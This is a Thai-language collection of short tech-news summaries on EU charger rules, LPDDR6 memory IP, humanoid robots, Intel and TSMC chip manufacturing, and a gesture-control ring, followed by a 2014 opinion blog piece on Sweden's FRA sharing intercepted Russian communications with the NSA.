นอกจากนี้ EPS ที่จ่ายไฟเกิน 10W ต้องผ่านเกณฑ์ประสิทธิภาพขั้นต่ำทั้งในสภาวะโหลดต่ำ, เฉลี่ย และไม่มีโหลด ส่วนแท่นชาร์จไร้สายต้องลดการใช้พลังงานขณะ idle และมีวงจรจ่ายไฟแยกต่างหากเพื่อให้สามารถเปลี่ยนหรือใช้ซ้ำได้

อุปกรณ์บางประเภทได้รับการยกเว้น เช่น UPS, อุปกรณ์ทางการแพทย์, ของเล่นบางชนิด, สกู๊ตเตอร์ไฟฟ้า, ระบบไฟฉุกเฉิน และอุปกรณ์ที่ใช้ในสภาพแวดล้อมเปียก

EU คาดว่ากฎหมายนี้จะช่วยลดการใช้พลังงานได้ถึง 1,070 TWh ต่อปีภายในปี 2030 โดยอิงจากข้อมูลว่ามี EPS ขายมากถึง 400 ล้านชิ้นต่อปี

EU ออกกฎหมายบังคับให้ EPS ทุกชนิดใช้ USB-C พร้อมสายถอดได้ภายในปี 2028
ครอบคลุมอุปกรณ์หลากหลาย เช่น คอนโซล, เราเตอร์, กล่องรับสัญญาณ ฯลฯ

ต้องแสดงกำลังไฟบนตัวอะแดปเตอร์, พอร์ต และสาย
เพื่อความปลอดภัยและความโปร่งใสในการใช้งาน

EPS ที่จ่ายไฟเกิน 10W ต้องผ่านเกณฑ์ประสิทธิภาพขั้นต่ำ
ทั้งในโหลดต่ำ, เฉลี่ย และไม่มีโหลด

แท่นชาร์จไร้สายต้องลด idle power และมีวงจรจ่ายไฟแยก
เพื่อให้สามารถเปลี่ยนหรือใช้ซ้ำได้

มีการออกโลโก้ “Common Charger” เพื่อระบุอุปกรณ์ที่ผ่านเกณฑ์
ช่วยให้ผู้ใช้เลือกใช้งานได้ง่ายขึ้น

คาดว่าจะลดการใช้พลังงานได้ 1,070 TWh ต่อปีภายในปี 2030
จากการลดจำนวน EPS ที่ผลิตและใช้งานซ้ำ

https://www.tomshardware.com/tech-industry/power-bricks-and-wall-warts-must-be-usb-c-by-2028-new-eu-legislation-also-adds-power-rating-labels-for-power-units-and-cables

“Synopsys เปิดตัว LPDDR6 IP บนเทคโนโลยี TSMC N2P — แบนด์วิดท์พุ่งแตะ 86 GB/s”

Synopsys ประกาศความสำเร็จในการ “bring-up” หรือเปิดใช้งานซิลิคอนจริงของ IP หน่วยความจำ LPDDR6 บนเทคโนโลยีการผลิตระดับ 2 นาโนเมตร N2P ของ TSMC ซึ่งถือเป็นก้าวสำคัญในการพัฒนา IP ที่พร้อมให้ลูกค้านำไปใช้งานจริง

LPDDR6 IP ดังกล่าวประกอบด้วยสองส่วนหลัก: ตัวควบคุม (controller) และอินเทอร์เฟซ PHY โดยตัวควบคุมรองรับโปรโตคอล JEDEC, การควบคุมเวลา (timing control) และโหมดประหยัดพลังงาน ส่วน PHY ถูกสร้างขึ้นบนวงจรอนาล็อกและ I/O ของ N2P พร้อมใช้ metal stack และไลบรารีเฉพาะของ N2P

Synopsys ระบุว่า IP นี้สามารถทำความเร็วได้ถึง 86 GB/s ซึ่งใกล้เคียงกับมาตรฐาน JEDEC ที่ 10.667 Gb/s ต่อ pin โดยมีเป้าหมายสูงสุดที่ 14.4 Gb/s ต่อ pin หรือราว 115 GB/s เมื่อรวมทุกช่องสัญญาณ

ข้อได้เปรียบของการใช้ N2P คือประสิทธิภาพด้านพลังงาน (PPA) ที่ดีขึ้น ทำให้หน่วยความจำใช้พลังงานต่อบิตน้อยลง และมีขนาดเล็กลง เหมาะสำหรับอุปกรณ์ที่ต้องการประสิทธิภาพสูงแต่ประหยัดพลังงาน เช่น AI บนอุปกรณ์ (on-device AI) และแพลตฟอร์มพกพา

Synopsys คาดว่า LPDDR6 จะกลายเป็นมาตรฐานหลักในปีหน้า โดยมีผู้ผลิตชิปและอุปกรณ์หลายรายเตรียมนำไปใช้งาน

Synopsys เปิดตัว LPDDR6 IP ที่ผ่านการ bring-up บนเทคโนโลยี TSMC N2P
หมายถึงการเปิดใช้งานซิลิคอนจริงสำเร็จ

IP ประกอบด้วย controller และ PHY interface
รองรับโปรโตคอล JEDEC และโหมดประหยัดพลังงาน

ความเร็วสูงสุดที่ทำได้คือ 86 GB/s
ใกล้เคียงกับมาตรฐาน JEDEC ที่ 10.667 Gb/s ต่อ pin

ใช้เทคโนโลยี N2P ของ TSMC ที่มี PPA สูง
ช่วยลดพลังงานต่อบิตและขนาดของชิป

เหมาะสำหรับ on-device AI และแพลตฟอร์มประหยัดพลังงาน
เช่น สมาร์ตโฟน, แท็บเล็ต, หรืออุปกรณ์ edge AI

LPDDR6 คาดว่าจะกลายเป็นมาตรฐานหลักในปี 2026
ผู้ผลิตชิปหลายรายเตรียมนำไปใช้งาน

https://wccftech.com/synopsys-unveils-silicon-bring-up-of-lpddr6-ip-on-tsmc-n2p-node/

“จีนเขย่าโลกด้วยหุ่นยนต์ AI หน้าตาเหมือนมนุษย์” — เมื่อการแสดงอารมณ์และการเคลื่อนไหวกลายเป็นสมรภูมิใหม่ของหุ่นยนต์ฮิวแมนนอยด์

สองบริษัทจีน AheadForm และ Kepler Robotics กำลังผลักดันขีดจำกัดของหุ่นยนต์ฮิวแมนนอยด์ไปอีกขั้น ด้วยการพัฒนา “ใบหน้า” และ “ร่างกาย” ที่เลียนแบบมนุษย์ได้อย่างน่าทึ่ง

AheadForm โฟกัสที่ “การแสดงออกทางสีหน้า” โดยใช้มอเตอร์แบบไร้แปรงและผิวสังเคราะห์ที่นุ่ม เพื่อให้หุ่นยนต์สามารถขยับเปลือกตา ริมฝีปาก และคิ้วได้อย่างละเอียดลึกซึ้ง หุ่นต้นแบบชื่อ “Xuan” สามารถแสดงอารมณ์ผ่านการพูด การมอง และการขยับหน้าได้อย่างสมจริงจนน่าขนลุก

Kepler Robotics มุ่งพัฒนา “การเคลื่อนไหวของร่างกาย” หุ่นยนต์รุ่น K2 Bumblebee สามารถเดินบนพื้นผิวต่าง ๆ ได้อย่างมั่นคง แม้ถูกผลักก็ยังทรงตัวได้ ด้วยระบบขับเคลื่อนแบบ hybrid ที่เลียนแบบกล้ามเนื้อใหญ่และข้อต่อเล็กของมนุษย์

ทั้งสองบริษัทใช้ AI ขั้นสูงในการควบคุมการเคลื่อนไหวและการตอบสนองต่อสิ่งแวดล้อม โดย Kepler ยังโชว์ให้เห็นว่า Bumblebee สามารถเข้าใจคำสั่งเสียง เรียนรู้ผ่าน reinforcement และควบคุมแรงบิดได้อย่างแม่นยำ

เป้าหมายของพวกเขาคือการสร้างหุ่นยนต์ที่สามารถทำงานร่วมกับมนุษย์ได้อย่าง “เป็นธรรมชาติ” ไม่ว่าจะในโรงเรียน โรงพยาบาล หรือร้านค้า แม้บางคนจะรู้สึกไม่สบายใจเมื่อเห็นหุ่นยนต์ที่เหมือนมนุษย์เกินไปก็ตาม

AheadForm พัฒนาหุ่นยนต์ที่แสดงสีหน้าได้สมจริง
ใช้มอเตอร์ไร้แปรงและผิวสังเคราะห์ควบคุมการขยับละเอียด

หุ่นต้นแบบ “Xuan” แสดงอารมณ์ผ่านการพูดและการมอง
ควบคุมด้วย AI ที่จำลองการทำงานของกล้ามเนื้อใบหน้า

Kepler Robotics พัฒนา K2 Bumblebee ที่เคลื่อนไหวได้เหมือนมนุษย์
เดินบนพื้นต่าง ๆ ได้ดีและทรงตัวแม้ถูกผลัก

ใช้ระบบ hybrid actuation เลียนแบบกล้ามเนื้อและข้อต่อ
เพิ่มความแม่นยำและประหยัดพลังงาน

Bumblebee เข้าใจคำสั่งเสียงและเรียนรู้ผ่าน reinforcement
มี 52 องศาการเคลื่อนไหวและเซ็นเซอร์ในตัว 80 ตัว

เป้าหมายคือใช้ในงานบริการ เช่น การศึกษา การแพทย์ และค้าปลีก
เพื่อให้หุ่นยนต์ “เข้าถึงได้” และ “เป็นธรรมชาติ” มากขึ้น

https://www.slashgear.com/1996011/china-ai-robots-humanoid-characteristics/

“Intel Foundry คว้าดีลผลิตชิป AI Maia 2 ให้ Microsoft บนเทคโนโลยี 18A” — ก้าวสำคัญสู่ความร่วมมือระยะยาวในยุค AI

Intel Foundry ได้รับสัญญาผลิตชิป AI รุ่นใหม่ของ Microsoft ในตระกูล Maia 2 โดยใช้เทคโนโลยีการผลิตระดับ 18A และ 18A-P ซึ่งถือเป็นหนึ่งในกระบวนการผลิตที่ล้ำหน้าที่สุดของ Intel ในปัจจุบัน โดยรายงานจาก SemiAccurate ระบุว่า Microsoft จะใช้ Intel Foundry เป็นฐานการผลิตหลักสำหรับชิป AI รุ่นถัดไป ซึ่งอาจเป็นจุดเริ่มต้นของความร่วมมือระยะยาวระหว่างสองยักษ์ใหญ่

Maia 2 เป็นชิป AI ขนาดใหญ่ระดับใกล้ reticle size (ประมาณ 820 mm²) ที่ออกแบบมาเพื่อใช้งานในศูนย์ข้อมูล Azure โดยมีเป้าหมายเพื่อเพิ่มประสิทธิภาพและลดต้นทุนการเป็นเจ้าของ (TCO) เมื่อเทียบกับการใช้ GPU จาก Nvidia ซึ่ง Microsoft ยังใช้อยู่เป็นหลักในปัจจุบัน

การเลือก Intel Foundry แทน TSMC มีความหมายเชิงยุทธศาสตร์ เพราะช่วยลดความเสี่ยงจากข้อจำกัดด้านกำลังการผลิตและการบรรจุชิปขั้นสูงที่ TSMC เผชิญอยู่ อีกทั้งยังสอดคล้องกับนโยบายของรัฐบาลสหรัฐฯ ที่สนับสนุนการผลิตชิปภายในประเทศ

Intel คาดว่าเทคโนโลยี 18A จะมี yield สูงพอสำหรับการผลิตชิปขนาดใหญ่แบบนี้ โดยอาจใช้เทคนิค partitioning เป็น chiplet หลายตัวเชื่อมด้วย EMIB หรือ Foveros แต่ Microsoft น่าจะเลือกใช้ดีไซน์แบบ monolithic เพื่อประสิทธิภาพสูงสุด

Intel Foundry ได้รับสัญญาผลิตชิป AI Maia 2 ให้ Microsoft
ใช้เทคโนโลยีการผลิตระดับ 18A และ 18A-P

Maia 2 เป็นชิปขนาดใหญ่ระดับใกล้ reticle size (820 mm²)
มีทรานซิสเตอร์มากกว่า 105 พันล้านตัว

Microsoft ใช้ชิปนี้ในศูนย์ข้อมูล Azure เพื่อเพิ่มประสิทธิภาพและลด TCO
เปรียบเทียบกับ GPU จาก Nvidia ที่ใช้อยู่ในปัจจุบัน

การเลือก Intel Foundry ช่วยลดความเสี่ยงจากข้อจำกัดของ TSMC
ทั้งด้านกำลังการผลิตและการบรรจุชิปขั้นสูง

สอดคล้องกับนโยบายของรัฐบาลสหรัฐฯ ที่สนับสนุนการผลิตในประเทศ
เพิ่มความมั่นคงของห่วงโซ่อุปทาน

Intel คาดว่า yield ของ 18A จะสูงพอสำหรับชิปขนาดใหญ่
อาจใช้ EMIB หรือ Foveros หากต้องแบ่งเป็น chiplet

https://www.tomshardware.com/tech-industry/semiconductors/intel-foundry-secures-contract-to-build-microsofts-maia-2-next-gen-ai-processor-on-18a-18a-p-node-claims-report-could-be-first-step-in-ongoing-partnership

“TSMC เร่งแผนผลิตชิป 2nm ในแอริโซนา พร้อมขยายโรงงานเกินงบ $165 พันล้าน” — เมื่อดีมานด์ AI ดันโรงงานสหรัฐฯ สู่ระดับ Gigafab

TSMC ประกาศเร่งแผนการผลิตชิปขนาด 2 นาโนเมตร (2nm) ที่โรงงานในรัฐแอริโซนา สหรัฐอเมริกา โดยอ้างอิงจากความต้องการชิป AI ที่เพิ่มขึ้นอย่างต่อเนื่องจากลูกค้าในสหรัฐฯ เช่น Apple, Nvidia และ Broadcom

เดิมที TSMC คาดว่าจะเริ่มผลิตชิป 2nm ในสหรัฐฯ ได้ภายในปี 2030 แต่ตอนนี้มีแนวโน้มว่าจะเลื่อนขึ้นมาเร็วขึ้นราว 1 ปี โดยยังไม่ระบุไทม์ไลน์ที่แน่นอน

นอกจากนี้ C.C. Wei ซีอีโอของ TSMC ยังเผยว่าบริษัทกำลังอยู่ระหว่างการเจรจาซื้อที่ดินเพิ่มเติมใกล้กับโรงงานเดิม เพื่อขยายเป็น “Gigafab cluster” ที่สามารถผลิตเวเฟอร์ 12 นิ้วได้ถึง 100,000 แผ่นต่อเดือน พร้อมมีระบบบรรจุภัณฑ์และทดสอบชิปในพื้นที่เดียวกัน

TSMC ยังลงทุนในโครงการฝึกงานในแอริโซนาเพื่อสร้างบุคลากรในท้องถิ่น โดยเพิ่มจำนวนผู้เข้าร่วมจาก 130 เป็น 200 คน และมองว่าแผนนี้จะช่วยสร้างระบบนิเวศด้านเซมิคอนดักเตอร์ในสหรัฐฯ ได้อย่างยั่งยืน

TSMC เร่งแผนผลิตชิป 2nm ในโรงงานแอริโซนา
เดิมคาดเริ่มผลิตปี 2030 แต่จะเลื่อนขึ้นราว 1 ปี

ความต้องการชิป AI จากลูกค้าในสหรัฐฯ เป็นแรงผลักดันหลัก
ลูกค้าหลักได้แก่ Apple, Nvidia, Broadcom

กำลังเจรจาซื้อที่ดินเพิ่มเติมเพื่อขยายโรงงาน
เป้าหมายคือสร้าง “Gigafab cluster” ที่ผลิตได้ 100,000 เวเฟอร์/เดือน

จะมีระบบบรรจุภัณฑ์และทดสอบชิปในพื้นที่เดียวกัน
ลดการพึ่งพาห่วงโซ่อุปทานต่างประเทศ

โครงการฝึกงานในแอริโซนาเพิ่มจาก 130 เป็น 200 คน
สร้างบุคลากรท้องถิ่นรองรับการขยายโรงงาน

https://www.tomshardware.com/tech-industry/tsmc-moves-up-2nm-production-plans-in-arizona-ceo-also-hints-at-further-site-expansion-beyond-usd165-billion-commitment

“Prolo Ring แหวนควบคุมคอมพิวเตอร์ด้วยนิ้ว — อุปกรณ์สวมใส่ที่อาจเปลี่ยนวิธีใช้เมาส์ไปตลอดกาล” — เมื่อการควบคุมคอมพิวเตอร์ไม่ต้องใช้เมาส์อีกต่อไป แค่ขยับนิ้วก็สั่งงานได้

Prolo Ring คืออุปกรณ์สวมใส่ที่เปิดตัวผ่าน Kickstarter โดยมีเป้าหมายเปลี่ยนวิธีที่เราควบคุมคอมพิวเตอร์ ด้วยการใช้แหวนที่สวมบนนิ้วแทนเมาส์แบบเดิม ๆ ตัวแหวนทำจากอะลูมิเนียมชุบอโนไดซ์ มีให้เลือก 3 สี และประกอบด้วย 3 ส่วนหลัก: เซนเซอร์ตรวจจับการเคลื่อนไหวแบบ 6 แกน, แทร็กแพดขนาดเล็ก และ “modstrip” ที่ทำหน้าที่เป็นปุ่มเสริม

แทร็กแพดบนแหวนสามารถแตะ, กดค้าง, หรือปัดเพื่อสั่งงาน เช่น คลิกขวา, เปิดเมนู, เล่น/หยุดวิดีโอ หรือปรับระดับเสียง ส่วน modstrip จะช่วยเพิ่มฟังก์ชันให้แทร็กแพด เช่น ใช้เป็นปุ่ม Shift หรือ Ctrl เพื่อเรียกคำสั่งพิเศษ

ที่น่าสนใจคือ Prolo Ring รองรับการตั้งค่ามาโครผ่านแอป companion และสามารถสั่งงานด้วย “air gestures” ได้มากกว่า 40 รูปแบบ เช่น ปัดนิ้วกลางอากาศเพื่อเปลี่ยนภาพ ซึ่งคล้ายกับเทคโนโลยี Soli ของ Google ที่เคยใช้ใน Pixel 4 XL

แหวนนี้เชื่อมต่อผ่าน Bluetooth และสามารถใช้งานได้กับทุกระบบปฏิบัติการโดยไม่ต้องใช้แอปเสริม แต่หากต้องการใช้ฟีเจอร์ขั้นสูง เช่น การตั้งค่ามาโครหรือปรับแต่ง gesture ผู้ใช้ต้องมี “license” ซึ่งมีเฉพาะในรุ่น Pro ราคา $149 ขึ้นไป โดยรุ่นพื้นฐาน $99 และ $129 ไม่รวม license นี้

แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จหนึ่งครั้ง และสามารถชาร์จผ่านเคสไร้สายที่เก็บพลังงานได้ถึง 30 วัน

Prolo Ring เป็นอุปกรณ์สวมใส่ที่ควบคุมคอมพิวเตอร์ด้วยนิ้ว
ใช้เซนเซอร์ 6 แกน, แทร็กแพด และ modstrip

แทร็กแพดรองรับการแตะ, กดค้าง, ปัด เพื่อสั่งงาน
ใช้ควบคุมเมนู, เล่น/หยุดวิดีโอ, ปรับเสียง ฯลฯ

modstrip ทำหน้าที่เป็นปุ่มเสริมเพื่อเพิ่มฟังก์ชัน
ใช้ร่วมกับแทร็กแพดเพื่อเรียกคำสั่งพิเศษ

รองรับ air gestures มากกว่า 40 รูปแบบ
เช่น ปัดนิ้วเพื่อเปลี่ยนภาพหรือเลื่อนสไลด์

เชื่อมต่อผ่าน Bluetooth และรองรับทุกระบบปฏิบัติการ
ใช้งานได้แม้ไม่ติดตั้งแอป companion

แอป companion ใช้ตั้งค่ามาโครและปรับแต่ง gesture
ต้องมี license เพื่อใช้งานฟีเจอร์ขั้นสูง

รุ่น Pro ราคา $149 ขึ้นไปเท่านั้นที่มี license
รุ่น $99 และ $129 ไม่รวม license

แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จ
เคสไร้สายเก็บพลังงานได้ถึง 30 วัน

https://www.tomshardware.com/peripherals/wearable-tech/give-your-mouse-the-finger-with-this-wild-cursor-control-ring-prolo-ring-hits-kickstarter-hoping-to-transform-your-finger-into-the-ultimate-macro-and-gesture-device

ผลัดกันล้วง ตอนที่ 4
นิทานเรื่องจริง เรื่อง “ผลัดกันล้วง”
ตอนที่ 4 (ตอนจบ)

“สวีเดน ทำการจารกรรมข้อมูลเกี่ยวกับ รัสเซีย ให้อเมริกามานานแล้ว ”

โทรทัศน์ สวีเดน Sveriges Television ( SVT ) ออกข่าวนี้ ตั้งแต่ปลายปี 2013 บอกว่า เรื่องนี้อยู่ในเอกสาร ที่นาย Edward Snowden เอามาปูด จนต้องหนีหัวซุกหัวซุนไปน่ะและตอนนี้ นาย Snowden ก็คงกำลังนั่งซุกหัว ซุกตัว อยู่ในที่หลบภัยอุ่นๆ ตรงไหนสักแห่งหนึ่งของรัสเซีย และเล่าเรื่องที่มีรายละเอียดน่าสนใจเพิ่มเติม ให้เจ้าของที่หลบภัยฟังต่อ

ความจริงเรื่องนี้ไม่ใช่เรื่องใหม่ ผู้สื่อข่าวสวีเดน นาย Martin Jonsson ได้พยายามขุดมา ตั้งแต่ปี 2005 เกี่ยวกับหน่วยงานข่าวกรองของสวีเดน ชื่อ Forsvarets Radioanstalt ( FRA ) แปลคร่าวๆ คือ National Defense Radio Establishment ซึ่งมีข่าวว่า ตั้งขึ้นมา เพื่อทำการจารกรรมข้อมูลจากสัญญาน ( wiretap ) ที่ผ่านไปมาอยู่แถบนั้น ให้กับ National Security Agency (NSA) ของอเมริกา โดยใช้ระบบที่รู้จักกันในชื่อ Echelon ที่โด่งดัง และประสิทธิภาพน่าขนลุก (ที่ใช้ลูกกลมเหมือนลูกปิงปองยักษ์) แต่ความเป็นจริง Echelon เป็นเพียงหนึ่งในระบบต่างๆที่ NSA ใช้ ยังมีระบบอื่นที่น่าตกใจกว่า อีกแยะ.

นาย Jonsson บอกว่า NSA เป็นหน่วยงานข่าวกรองที่ใหญ่ที่สุดของอเมริกา และเป็นศูนย์กลางของเครือข่ายการดักฟัง ที่ใหญ่ที่สุดในโลก และ FRA ก็เป็นส่วนหนึ่ง ของเครือข่ายนี้

NSA มีขนาด และเครือข่ายใหญ่กว่า CIA มาก โดย NSA เน้นการหาข่าวกรองจากคลื่นสัญญานต่างๆ ที่ส่งกันทั้ง บนดิน ใต้ดิน บนเรือ ใต้น้ำ บนท้องฟ้า ในเครื่องบิน จากดาวเทียม ฯลฯ โดยมีการทำสัญญาการให้ร่วมมือกัน ระหว่าง อเมริกา อังกฤษ แคนาดา นิวซีแลนด์ และออสเตรเลีย เรียกว่า กลุ่ม Five Eyes ตั้งแต่ ปี 1954 เพื่อแลกเปลี่ยน ข้อมูลระหว่างกันอย่างเข้มข้น โดยเฉพาะในช่วงสงครามเย็น

นาย Jonssen เล่าว่า ตอนนั้น เราเพียงรู้ว่า เครือข่ายดักฟังข้อมูล มีเพียง 5 ประเทศ ดังกล่าว ต่อมาปี 2007 มีข่าวเล็ดลอดออกมาว่า สวีเดน อาจจะเป็น ประเทศที่ 6 ที่จะได้เข้าไปร่วมกับเครือข่ายนี้ด้วย โดยจะทำสัญญาเพิ่ม ขณะเดียวกัน เพื่อเป็นการเตรียมตัวให้พร้อม สวีเดนก็ดำเนินการออกกฏหมาย ที่รู้จักกันในชื่อ FRA law ให้รัฐสามารถดักฟัง เก็บข้อมูลทุกอย่าง ที่ผ่านเข้ามาในอาณาเขตของสวีเดน ไม่ว่า จะเป็นทางโทรศัพท์ หรือทางเอกสาร ฯลฯได้ ซึ่งเดิมถือว่าเป็นการผิดกฏหมาย ในเรื่องการละเมิดสิทธิ โดยทาง NSA ส่งทีมมาช่วยร่างกฏหมาย เตี๊ยมคำถามคำตอบ ที่ทางรัฐจะต้องตอบกับสภาประชาชนและสื่อ เล่นกันแบบนั้นเลย นึกว่าจะมีแต่แถวบ้านสมันน้อย

ชาวสวีเดน ต่างออกมาประท้วงร่างกฏหมายฉบับนี้ อย่างมากมาย แต่ในที่สุด ฝ่ายรัฐก็ชนะไปอย่างเฉียดฉิว วันที่ 13 เดือนเมษายน 2007 Odenberg รัฐมนตรีกลาโหมของสวีเดน กับ Chertoff หัวหน้า Homeland Security ของอเมริกา ก็ลงนามในสัญญาที่มีผลให้ สวีเดน รับหน้าที่ ทำการดักฟังการสื่อสารระหว่างประเทศทั้งหมดของรัสเซีย และแชร์ข้อมูลที่ได้รับกับอเมริกา หลังจากนั้นไม่นาน ข่าวเกี่ยวกับสัญญาล้วงตับนี้ก็หลุดออกมาถึงสื่อ รัฐบาลสวีเดนพยายามแก้ตัวว่า มันเป็นเรื่องจำเป็น เกี่ยวกับความมั่นคงของประเทศ เป็นเรื่องธรรมดา หลายประเทศก็ทำสัญญาเช่นนี้กับอเมริกา
ส่วน FRA law ฝีแตกที่หลัง ชาวสวีเดนเพิ่งรู้เรื่อง ต่างไม่พอใจการกระทำของรัฐบาล สื่อ และพรรคฝ่ายค้าน พากันสอบถามรัฐบาล รัฐบาลแก้ตัวไม่หลุด แถไปเรื่อยๆ ข้อแก้ตัวอันหนึ่ง ที่ทำให้ชาวบ้านยิ่งงงหนัก คือคำตอบที่บอกว่า การล้วงตับรัสเซีย เป็นเรื่องจำเป็น สำหรับการป้องกันพวกทหารของเรา ที่ส่งไปรบที่อาฟกานิสถาน อืม เป็นการอ้างเหตุผลได้บัดซบ ไม่น้อยกว่านักการเมืองแถวบ้านสมันน้อย สวีเดนส่งกองทหารไปช่วยอเมริกาถล่มอาฟกานิสถาน และลิเบียในช่วงปี 2011 รวมทั้งส่งเครื่องบินรบ Saab Gripen ที่โด่งดัง ไปช่วยด้วย

เป็นการดูแลความมั่นคงของสวีเดน ที่ใช้วิสัยทัศน์ ที่ยาว และระยะทางอ้อมไกลมาก

สื่อสวีเดนไม่ยอมหยุด ช่วยกันขุดต่อ และนำมาเปิดเผยว่า ประมาณ 80% ของการใช้อินเตอร์เนทระหว่างประเทศของรัสเซีย ต้องผ่านเส้นทางสวีเดน นับว่าอเมริกามีตาแหลมคม เลือกคนล้วงตับได้เก่งจริงๆ นอกจากนี้ TeliaSonera บริษัทร่วมทุนยักษ์ใหญ่ ของสวีเดนและฟินแลนด์ ซึ่งมีเครือข่ายใยแก้ว ( fiberoptic ) ใหญ่ที่สุดของโลกบริษัทหนึ่ง และได้รับสัมปทานประกอบกิจการโทรศัพท์เคลื่อนที่ ในรัสเซียรายหนึ่งนั้น ถ้าดูตามแผนที่ของบริษัท จะเห็นว่า ได้มีการวางแผน การวางเส้นทางสายใยแก้วของบริษัท ที่มีผลให้การสื่อสารของรัสเซีย ต้องทำผ่านสวีเดน การส่งเมล์ และโทรศัพท์ ไปต่างประเทศของรัสเซีย ต้องผ่านสต๊อกโฮมก่อน ไม่ว่าผู้รับจะอยูที่ใด เยี่ยมจริงๆ

ความร่วม มือระหว่าง FRA กับ NSA ขยายตัวขึ้นอย่างมโหฬาร ตั้งแต่ 2011 NSA สามารถดักฟัง การสื่อสารในประเทศแถบบอลติกได้หมด ผ่านเคเบิลของสวีเดน

Duncan Campbell สื่อชาวอังกฤษ ประเภทเกาะติด ตามขุดลึกอย่างไม่เลิก ตามสืบเรื่อง การล้วงตับดักฟังข้อมูลต่อ ได้ข้อมูลลึกมาเพียบ เขาบอกว่า องค์กรที่มาร่วมเป็นตาที่ 6 กับกลุ่ม Five Eyes และถือว่าเป็นหุ้นส่วนใหญ่ ที่ ไม่ได้เป็นประเทศ ที่ใช้ภาษาอังกฤษเป็นภาษาแม่ แต่ให้ความร่วมมือเป็นอย่างดียิ่ง กับหน่วยงานของรัฐบาลอังกฤษ UK’s Government Communications Head Quarters (GCHQ) คือสวีเดน!

ตกลง สวีเดนเป็นนักล้วงตัวจริง ไม่ล้วงธรรมดา ล้วงแล้ว แล้วแหกปากบอกต่อไปทั่วอีกด้วย สวีเดนทำอย่างนี้ทำไม

โฆษก ของ FRA ยอมรับว่า NSA ของอเมริกา มี full access ผ่านได้ทุกด่าน เข้าได้ตลอดเวลาถึงศูนย์ข้อมูล ที่ฝ่ายข่าวกรองของสวีเดนได้มา เขาให้เหตุผลว่า ” เราคงไม่ทำอะไร โดยไม่ได้อะไรกลับมาหรอกนะ เมื่อเราสามารถหาข้อมูลในส่วนนี้ของโลกได้ เราก็เอาข้อมูลเหล่านี้ ไปแลกกับข้อมูลของส่วนอื่นของโลก ซึ่งยากสำหรับเราที่จะได้มา แต่มันเป็นข้อมูล ที่อาจมีความสำคัญอย่างยิ่งยวด สำหรับนโยบายต่างประเทศของเรา”

อย่างหนึ่งที่ สวีเดนได้รับมาจาก NSA ในการเป็นมิตรร่วมล้วง คือได้ โปรแกรมสุดยอดสำหรับการตามประกบเป้าหมาย ที่ต้องการจะล้วงลึกถึงสุดทางชื่อ Xkeyscore คือการตาม online ของทุกคนได้อย่างหมดจด อ้อ ไอ้เจ้านี่เอง ที่มันตาม ป่วนลุงนิทาน! โปรแกรมนี้ สามารถทำให้สวีเดน แฮ๊กเข้าไปในคอมพิวเตอร์ และสอดส่องดูกิจกรรมของประชาชน ของตนได้แบบไม่เหลือ อืม มันเลวได้เหมือนกันหมด นอกจากนี้ สวีเดนยังได้เข้าร่วม Project Quantum ที่ว่าเป็นการปฏิบัติการ hijacks ด้านคอมพิวเตอร์ที่สุดยอด
Edward Snowden พูดถึงฤทธิ์เดช ของ Xkeyscore ไว้ว่า “ผมแค่นั่งอยู่ที่โต๊ะทำงานของ ผม ผมก็สามารถ wiretap ใครก็ได้ จากคุณ หรือบัญชีของคุณ ไปจนถึง ผู้พิพากษาศาลสูง แม้กระทั่งประธานาธิบดี เพียงมีอีเมล์ ของคนนั้นเท่านั้น

ส่วน Quantum เขาว่า เป็นการใช้คลื่นวิทยุ กับอุปกรณ์ ที่ NSA สร้างขึ้นพิเศษ มีชื่อเรียกกันวงในว่า Cottonmouth I ก็ดูดข้อมูลจากคอมพิวเตอร์ได้หมด แถมส่งต่อไปตามสถานีใหญ่ของ NSA หรือส่งไปสถานีย่อยแบบพกพา portable ได้อีก

เรื่องการจารกรรมข้อมูลของรัสเซีย โดยสวีเดน เพื่ออเมริกาและพวก เป็นเรื่องที่น่ารังเกียจ และค้านกับการที่สวีเดนประกาศตัวเสมอว่า ฉันเป็นชาติเป็นกลาง มันเป็นกลางแบบที่เราคงนึกกันไม่ถึง โลกนี้ยังมีอะไรอีกแยะที่เรายังไม่รู้ ตราบเท่าที่ยังไม่เอากระป๋องสี่เหลี่ยมที่เขาครอบหัวเราออก

แล้วรัสเซียรู้เรื่องการล้วงตับ นี้ไหม รัสเซียคงยิ่งกว่ารู้ การเอาเครื่องบินรบ บินเฉี่ยวหัว และเอาเรือดำน้ำ โผล่ขึ้นไปตบหน้า แล้วหายตัวไป เบ็ดเสร็จประมาณ 40 ครั้ง ในรอบ 8 เดือน อย่างที่ครูอี ด่าหน้าเสาธงนั่นแหละ คงเป็นคำตอบของรัสเซียอย่างหนึ่ง ก็ไหนว่ามีมือยาวล้วงได้ล้ำลึกนัก ก็ผลัดกันล้วงบ้างแล้วกัน และเราก็ดูกันต่อไปว่า ที่สุดแล้ว ใครจะล้วงลึก หรือ ลวงลึก ได้กว่ากัน

สวัสดีครับ
คนเล่านิทาน
22 ธค. 2557

————————–———————–

บทส่งท้าย

เขียนเรื่องเขา ผลัดกันล้วงแล้ว อดนึกถึงเรื่องของเรา สมันน้อยไม่ได้ สมันน้อยเคยถูกล้วงบ้างไหม โดยใคร แล้วยังล้วงกันอยู่หรือเปล่า เคยคิดกันบ้างไหมครับ

ลองคิดเป็นตัวอย่างเล่นๆ ประมาณ ปี พ.ศ. 2533 แดนสมันน้อยประกาศเชิญชวนติดตั้ง โทรศัพท์ 3 ล้านเลขหมาย แบ่งเป็น กทม. 2 ล้านเลขหมาย ต่างจังหวัด 1 ล้านเลขหมาย ใครประมูลได้ ส่วนไหนบ้าง ใครเป็นคนได้งานวางไฟเบอร์ออพติก ใครรับช่วงต่อ ใครเป็นหัวเรือใหญ่ดูแลต่อรองเงื่อนไข ไปลองหาอ่านกันบ้างก็ดีนะครับ จะได้รู้หนา รู้บาง รู้ข้าง รู้ฝ่าย กันบ้าง

แล้วลองนึกถึงอีกเรื่อง เมื่อประมาณปี พ.ศ. 2535 แดนสมันน้อยให้สัมปทานดาวเทียม ใครเป็นคนได้สัมปทาน ทำอยู่กี่ปีแล้วดันขายไปให้ใคร ผิดเงื่อนไขสัมปทาน ผิดกฏหมายไหม มีใครคิดดำเนินการอะไรกันบ้างหรือเปล่า

